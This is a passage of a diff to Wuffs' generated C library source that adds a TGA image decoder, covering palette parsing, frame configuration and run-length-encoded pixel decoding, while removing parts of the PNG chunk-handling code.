++ } else if (self->private_impl.f_header_color_map_entry_size == 32u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ uint32_t t_11; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; ++ if (num_bits_11 == 24) { ++ t_11 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_11 += 8u; ++ *scratch |= ((uint64_t)(num_bits_11)) << 56; ++ } ++ } ++ v_c32 = t_11; ++ } ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c32 >> 0u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c32 >> 8u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c32 >> 16u))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = ((uint8_t)((v_c32 >> 24u))); ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); ++ uint32_t t_12; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_12 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; ++ if (num_bits_12 == 8) { ++ t_12 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_12 += 8u; ++ *scratch |= ((uint64_t)(num_bits_12)) << 56; ++ } ++ } ++ v_c32 = t_12; ++ } ++ v_c5 = (31u & (v_c32 >> 0u)); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 5u)); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 10u)); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; ++ } ++ v_i += 1u; ++ } ++ while (v_i < 256u) { ++ self->private_data.f_src_palette[((v_i * 4u) + 0u)] = 0u; ++ self->private_data.f_src_palette[((v_i * 4u) + 1u)] = 0u; ++ self->private_data.f_src_palette[((v_i * 4u) + 2u)] = 0u; ++ self->private_data.f_src_palette[((v_i * 4u) + 3u)] = 255u; ++ v_i += 1u; ++ } ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_src_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ self->private_impl.f_opaque); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_image_config.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func tga.decoder.decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_frame_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func tga.decoder.do_decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_tga__decoder__do_decode_frame_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_tga__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } +- if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { +- self->private_impl.f_first_rect_x0 = self->private_impl.f_frame_rect_x0; +- self->private_impl.f_first_rect_y0 = self->private_impl.f_frame_rect_y0; +- self->private_impl.f_first_rect_x1 = self->private_impl.f_frame_rect_x1; +- self->private_impl.f_first_rect_y1 = self->private_impl.f_frame_rect_y1; +- self->private_impl.f_first_duration = self->private_impl.f_frame_duration; +- self->private_impl.f_first_disposal = self->private_impl.f_frame_disposal; +- self->private_impl.f_first_overwrite_instead_of_blend = self->private_impl.f_frame_overwrite_instead_of_blend; ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ self->private_impl.f_opaque, ++ false, ++ 4278190080u); + } ++ self->private_impl.f_call_sequence = 64u; + +- goto ok; + ok: +- self->private_impl.p_decode_fctl[0] = 0; ++ self->private_impl.p_do_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_fctl[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_fctl[0].v_x0 = v_x0; +- self->private_data.s_decode_fctl[0].v_x1 = v_x1; +- self->private_data.s_decode_fctl[0].v_y1 = v_y1; ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -56212,15 +69922,114 @@ wuffs_png__decoder__decode_fctl( + return status; + } + +-// -------- func png.decoder.decode_gama ++// -------- func tga.decoder.decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_frame( ++ wuffs_tga__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func tga.decoder.do_decode_frame + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_gama( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { ++wuffs_tga__decoder__do_decode_frame( ++ wuffs_tga__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + wuffs_base__status status = wuffs_base__make_status(NULL); + ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint64_t v_dst_bytes_per_pixel = 0; ++ uint32_t v_dst_x = 0; ++ uint32_t v_dst_y = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_dst_start = 0; ++ wuffs_base__slice_u8 v_src_palette = {0}; ++ uint64_t v_mark = 0; ++ uint64_t v_num_pixels64 = 0; ++ uint32_t v_num_pixels32 = 0; ++ uint32_t v_lit_length = 0; ++ uint32_t v_run_length = 0; ++ uint64_t v_num_dst_bytes = 0; ++ uint32_t v_num_src_bytes = 0; ++ uint32_t v_c32 = 0; ++ uint32_t v_c5 = 0; ++ + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -56232,516 +70041,739 @@ wuffs_png__decoder__decode_gama( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_gama[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ if (coro_susp_point) { ++ v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel; ++ v_dst_x = self->private_data.s_do_decode_frame.v_dst_x; ++ v_dst_y = self->private_data.s_do_decode_frame.v_dst_y; ++ v_mark = self->private_data.s_do_decode_frame.v_mark; ++ v_num_pixels32 = self->private_data.s_do_decode_frame.v_num_pixels32; ++ v_lit_length = self->private_data.s_do_decode_frame.v_lit_length; ++ v_run_length = self->private_data.s_do_decode_frame.v_run_length; ++ v_num_dst_bytes = self->private_data.s_do_decode_frame.v_num_dst_bytes; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_chunk_length != 4u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_tga__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (self->private_impl.f_header_color_map_type != 0u) { ++ v_src_palette = wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024); ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), ++ v_src_palette, ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); + goto exit; + } +- self->private_impl.f_chunk_length = 0u; +- self->private_impl.f_metadata_flavor = 5u; +- self->private_impl.f_metadata_fourcc = 1195461953u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint64_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_gama[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_gama[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint64_t)(*scratch >> 32)); +- break; ++ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); ++ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 32u)) == 0u) { ++ v_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); ++ } ++ if (((uint8_t)(self->private_impl.f_header_image_type & 8u)) == 0u) { ++ v_lit_length = self->private_impl.f_width; ++ } ++ label__resume__continue:; ++ while (true) { ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); ++ while (v_dst_y < self->private_impl.f_height) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); ++ v_dst_start = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); ++ if (v_dst_start <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_start); ++ } else { ++ v_dst = wuffs_base__utility__empty_slice_u8(); ++ } ++ while (v_dst_x < self->private_impl.f_width) { ++ if (self->private_impl.f_src_bytes_per_pixel > 0u) { ++ if (v_lit_length > 0u) { ++ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ v_num_pixels64 = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(self->private_impl.f_src_bytes_per_pixel))); ++ v_num_pixels32 = ((uint32_t)(wuffs_base__u64__min(v_num_pixels64, ((uint64_t)(v_lit_length))))); ++ v_num_dst_bytes = (((uint64_t)(v_num_pixels32)) * v_dst_bytes_per_pixel); ++ v_num_src_bytes = (v_num_pixels32 * self->private_impl.f_src_bytes_per_pixel); ++ self->private_data.s_do_decode_frame.scratch = v_num_src_bytes; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ if (v_num_dst_bytes <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_num_dst_bytes); ++ } else { ++ v_dst = wuffs_base__utility__empty_slice_u8(); ++ } ++ v_dst_x += v_num_pixels32; ++ v_lit_length = (((uint32_t)(v_lit_length - v_num_pixels32)) & 65535u); ++ if (v_lit_length > 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ goto label__resume__continue; ++ } ++ } else if (v_run_length > 0u) { ++ v_run_length -= 1u; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); ++ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); ++ } ++ v_dst_x += 1u; ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ goto label__resume__continue; ++ } ++ if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { ++ v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); ++ iop_a_src += 1u; ++ if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); ++ goto exit; ++ } ++ } else { ++ if (self->private_impl.f_src_bytes_per_pixel == 1u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ goto label__resume__continue; ++ } ++ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ } else if (self->private_impl.f_src_bytes_per_pixel == 3u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ goto label__resume__continue; ++ } ++ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ goto label__resume__continue; ++ } ++ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ self->private_data.f_scratch[3u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ } ++ if ((v_run_length + v_dst_x) > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); ++ goto exit; ++ } ++ } ++ } ++ } else { ++ if (v_lit_length > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ goto label__resume__continue; ++ } ++ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ v_c5 = (31u & (v_c32 >> 0u)); ++ self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 5u)); ++ self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 10u)); ++ self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ self->private_data.f_scratch[3u] = 255u; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, 4)); ++ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); ++ } ++ v_dst_x += 1u; ++ v_lit_length -= 1u; ++ } else if (v_run_length > 0u) { ++ v_run_length -= 1u; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); ++ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); ++ } ++ v_dst_x += 1u; ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ goto label__resume__continue; ++ } ++ if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { ++ v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); ++ iop_a_src += 1u; ++ if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); ++ goto exit; ++ } ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ goto label__resume__continue; ++ } ++ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); ++ iop_a_src += 1u; ++ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ v_c5 = (31u & (v_c32 >> 0u)); ++ self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 5u)); ++ self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ v_c5 = (31u & (v_c32 >> 10u)); ++ self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); ++ self->private_data.f_scratch[3u] = 255u; ++ if ((v_run_length + v_dst_x) > self->private_impl.f_width) { ++ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); ++ goto exit; ++ } ++ } ++ } + } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ v_dst_x = 0u; ++ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 32u)) == 0u) { ++ v_dst_y -= 1u; ++ } else { ++ v_dst_y += 1u; ++ } ++ if (((uint8_t)(self->private_impl.f_header_image_type & 